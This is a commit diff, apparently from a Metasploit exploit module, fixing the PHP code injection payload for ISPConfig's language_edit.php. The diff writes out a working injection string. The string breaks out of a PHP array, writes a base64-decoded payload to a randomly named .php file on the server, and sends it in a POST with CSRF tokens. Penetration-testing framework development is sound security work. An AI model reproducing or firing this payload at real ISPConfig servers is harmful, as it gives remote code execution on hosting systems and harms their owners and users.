fixed: build issue

Author: happybear-21

modules/exploits/linux/http/ispconfig_lang_edit_php_code_injection.rb

@@ -142,7 +142,8 @@ def authenticate
   def inject_payload
     print_status('Injecting PHP payload...')
     @payload_file = "#{Rex::Text.rand_text_alpha_lower(8)}.php"
-    injection = %<'];file_put_contents('#{@payload_file}',base64_decode('#{Base64.strict_encode64(payload.encoded)}');die;#"
+    b64_payload = Base64.strict_encode64(payload.encoded)
+    injection = "'];file_put_contents('#{@payload_file}',base64_decode('#{b64_payload}'));die;#"
     lang_file = Rex::Text.rand_text_alpha_lower(10) + ".lng"
     edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
     initial_data = {
@@ -170,7 +171,7 @@ def inject_payload
       'lang_file' => lang_file,
       '_csrf_id' => csrf_id,
       '_csrf_key' => csrf_key,
-      'records[\\]' => injection
+      'records[\]' => injection
     }
     res = send_request_cgi({
       'method' => 'POST',